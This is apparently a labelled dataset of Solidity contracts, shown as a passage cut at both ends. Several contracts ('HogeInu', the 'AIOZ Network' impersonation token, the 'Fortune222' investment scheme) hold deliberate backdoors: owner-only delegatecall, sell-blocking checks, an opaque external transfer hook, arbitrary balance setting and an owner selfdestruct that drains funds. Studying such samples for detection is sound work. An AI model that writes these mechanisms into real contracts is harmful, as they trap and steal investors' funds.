function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "JustEscrowCoin";
string public constant TOKEN_SYMBOL = "SCRO";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xAE13C4701fAEf76090Bfe6A3B207667a90923349;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[5] memory addresses = [address(0x86883309c4de3fcab059ca9cd8a3820e1742b596),address(0x87d7a9429a6cf3ec4e71b9b51c0e91bc7b0da8ba),address(0xf20e6ce8b692ad3c7552a4164cc8569bf903c485),address(0x8286342b08eb2b7a675ab3106ab6c10335c4b1f5),address(0x41b21ca40bb080830d482d8ce965c699f6fac9d0)];
uint[5] memory amounts = [uint(100000000000000000000000000),uint(30000000000000000000000000),uint(10000000000000000000000000),uint(10000000000000000000000000),uint(50000000000000000000000000)];
uint64[5] memory freezes = [uint64(0),uint64(0),uint64(0),uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 3,576 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Contract Paused. Events/Transaction Paused until Further Notice");
_;
}
modifier whenPaused() {
require(paused, "Contract Functionality Resumed");
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Token {
function transferFrom(address _from, address _to, uint _value) public returns (bool);
}
contract Airdrop is Ownable, Pausable {
event TokenDrop(address indexed _from, address indexed _to, uint256 _value);
function drop(ERC20Token _token, address[] _recipients, uint256[] _values) public onlyOwner whenNotPaused {
for (uint256 i = 0; i < _recipients.length; i++) {
_token.transferFrom(msg.sender, _recipients[i], _values[i]);
emit TokenDrop(msg.sender, _recipients[i], _values[i]);
}
}
} | 1 | 3,044 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract HogeInu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,318 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract AIOZToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 966666666000000000000000000;
string public name = "AIOZ Network";
string public symbol = "AIOZ";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,729 |
pragma solidity 0.4.26;
library Math {
function min(uint a, uint b) internal pure returns(uint) {
if (a > b) {
return b;
}
return a;
}
}
library Zero {
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function requireNotZero(uint val) internal pure {
require(val != 0, "require not zero value");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
function isZero(uint a) internal pure returns(bool) {
return a == 0;
}
function notZero(uint a) internal pure returns(bool) {
return a != 0;
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}
function mmul(percent memory p, uint a) internal pure returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function mdiv(percent memory p, uint a) internal pure returns (uint) {
return a/p.num*p.den;
}
function msub(percent memory p, uint a) internal pure returns (uint) {
uint b = mmul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function madd(percent memory p, uint a) internal pure returns (uint) {
return a + mmul(p, a);
}
}
library Address {
function toAddress(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function isNotContract(address addr) internal view returns(bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
assert(_a == _b * c + _a % _b);
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Accessibility {
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
}
function ToDo() public onlyOwner {
selfdestruct(owner);
}
function disown() internal {
delete owner;
}
}
contract Rev1Storage {
function investorShortInfo(address addr) public view returns(uint value, uint refBonus);
}
contract Rev2Storage {
function investorInfo(address addr) public view returns(uint investment, uint paymentTime);
}
library PrivateEntrance {
using PrivateEntrance for privateEntrance;
using Math for uint;
struct privateEntrance {
Rev1Storage rev1Storage;
Rev2Storage rev2Storage;
uint investorMaxInvestment;
uint endTimestamp;
mapping(address=>bool) hasAccess;
uint8 znak;
}
function isActive(privateEntrance storage pe) internal view returns(bool) {
return pe.endTimestamp > now;
}
function maxInvestmentFor(privateEntrance storage pe, address investorAddr) internal view returns(uint) {
if (!pe.hasAccess[investorAddr]) {
return 0;
}
(uint maxInvestment, ) = pe.rev1Storage.investorShortInfo(investorAddr);
if (maxInvestment == 0) {
return 0;
}
maxInvestment = Math.min(maxInvestment, pe.investorMaxInvestment);
(uint currInvestment, ) = pe.rev2Storage.investorInfo(investorAddr);
if (currInvestment >= maxInvestment) {
return 0;
}
return maxInvestment-currInvestment;
}
function provideAccessFor(privateEntrance storage pe, address[] addrs) internal {
for (uint16 i; i < addrs.length; i++) {
pe.hasAccess[addrs[i]] = true;
}
}
}
contract InvestorsStorage is Accessibility {
struct Investor {
uint investment;
uint paymentTime;
}
uint public size;
mapping (address => Investor) private investors;
function isInvestor(address addr) public view returns (bool) {
return investors[addr].investment > 0;
}
function investorInfo(address addr) public view returns(uint investment, uint paymentTime) {
investment = investors[addr].investment;
paymentTime = investors[addr].paymentTime;
}
function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) {
Investor storage inv = investors[addr];
if (inv.investment != 0 || investment == 0) {
return false;
}
inv.investment = investment;
inv.paymentTime = paymentTime;
size++;
return true;
}
function addInvestment(address addr, uint investment) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].investment += investment;
return true;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].paymentTime = paymentTime;
return true;
}
function disqalify(address addr) public onlyOwner returns (bool) {
if (isInvestor(addr)) {
investors[addr].paymentTime = now + 1 days;
}
}
function disqalify2(address addr) public onlyOwner returns (bool) {
if (isInvestor(addr)) {
investors[addr].paymentTime = now;
}
}
}
library RapidGrowthProtection {
using RapidGrowthProtection for rapidGrowthProtection;
struct rapidGrowthProtection {
uint startTimestamp;
uint maxDailyTotalInvestment;
uint8 activityDays;
mapping(uint8 => uint) dailyTotalInvestment;
}
function maxInvestmentAtNow(rapidGrowthProtection storage rgp) internal view returns(uint) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return 0;
}
if (rgp.dailyTotalInvestment[uint8(day)] >= rgp.maxDailyTotalInvestment) {
return 0;
}
return rgp.maxDailyTotalInvestment - rgp.dailyTotalInvestment[uint8(day)];
}
function isActive(rapidGrowthProtection storage rgp) internal view returns(bool) {
uint day = rgp.currDay();
return day != 0 && day <= rgp.activityDays;
}
function saveInvestment(rapidGrowthProtection storage rgp, uint investment) internal returns(bool) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return false;
}
if (rgp.dailyTotalInvestment[uint8(day)] + investment > rgp.maxDailyTotalInvestment) {
return false;
}
rgp.dailyTotalInvestment[uint8(day)] += investment;
return true;
}
function startAt(rapidGrowthProtection storage rgp, uint timestamp) internal {
rgp.startTimestamp = timestamp;
}
function currDay(rapidGrowthProtection storage rgp) internal view returns(uint day) {
if (rgp.startTimestamp > now) {
return 0;
}
day = (now - rgp.startTimestamp) / 24 hours + 1;
}
}
contract Fortune222 is Accessibility {
using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection;
using PrivateEntrance for PrivateEntrance.privateEntrance;
using Percent for Percent.percent;
using SafeMath for uint;
using Math for uint;
using Address for *;
using Zero for *;
RapidGrowthProtection.rapidGrowthProtection private m_rgp;
PrivateEntrance.privateEntrance private m_privEnter;
mapping(address => bool) private m_referrals;
InvestorsStorage private m_investors;
uint public constant minInvesment = 10 finney;
uint public constant maxBalance = 333e5 ether;
address public advertisingAddress;
address public adminsAddress;
uint public investmentsNumber;
uint public waveStartup;
Percent.percent private m_1_percent = Percent.percent(222,10000);
Percent.percent private m_referal_percent = Percent.percent(222,10000);
Percent.percent private m_referrer_percent = Percent.percent(222,10000);
Percent.percent private m_referrer_percentMax = Percent.percent(10,100);
Percent.percent private m_adminsPercent = Percent.percent(6,100);
Percent.percent private m_advertisingPercent = Percent.percent(12,100);
event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp);
event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess);
event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus);
event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays);
event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day);
event LogNewInvesment(address indexed addr, uint when, uint investment, uint value);
event LogAutomaticReinvest(address indexed addr, uint when, uint investment);
event LogPayDividends(address indexed addr, uint when, uint dividends);
event LogNewInvestor(address indexed addr, uint when);
event LogBalanceChanged(uint when, uint balance);
event LogNextWave(uint when);
event LogDisown(uint when);
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}
modifier notFromContract() {
require(msg.sender.isNotContract(), "only externally accounts");
_;
}
constructor() public {
adminsAddress = msg.sender;
advertisingAddress = msg.sender;
nextWave();
}
function() public payable {
if (msg.value.isZero()) {
getMyDividends();
return;
}
doInvest(msg.data.toAddress());
}
function disqualifyAddress(address addr) public onlyOwner {
m_investors.disqalify(addr);
}
function disqualifyAddress2(address addr) public onlyOwner {
m_investors.disqalify2(addr);
}
function doDisown() public onlyOwner {
disown();
emit LogDisown(now);
}
function init(address rev1StorageAddr, uint timestamp) public onlyOwner {
m_rgp.startTimestamp = timestamp + 1;
m_rgp.maxDailyTotalInvestment = 500 ether;
emit LogRGPInit(
now,
m_rgp.startTimestamp,
m_rgp.maxDailyTotalInvestment,
m_rgp.activityDays
);
m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr);
m_privEnter.rev2Storage = Rev2Storage(address(m_investors));
m_privEnter.investorMaxInvestment = 50 ether;
m_privEnter.endTimestamp = timestamp;
emit LogPEInit(
now,
address(m_privEnter.rev1Storage),
address(m_privEnter.rev2Storage),
m_privEnter.investorMaxInvestment,
m_privEnter.endTimestamp
);
}
function setAdvertisingAddress(address addr) public onlyOwner {
addr.requireNotZero();
advertisingAddress = addr;
}
function setAdminsAddress(address addr) public onlyOwner {
addr.requireNotZero();
adminsAddress = addr;
}
function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner {
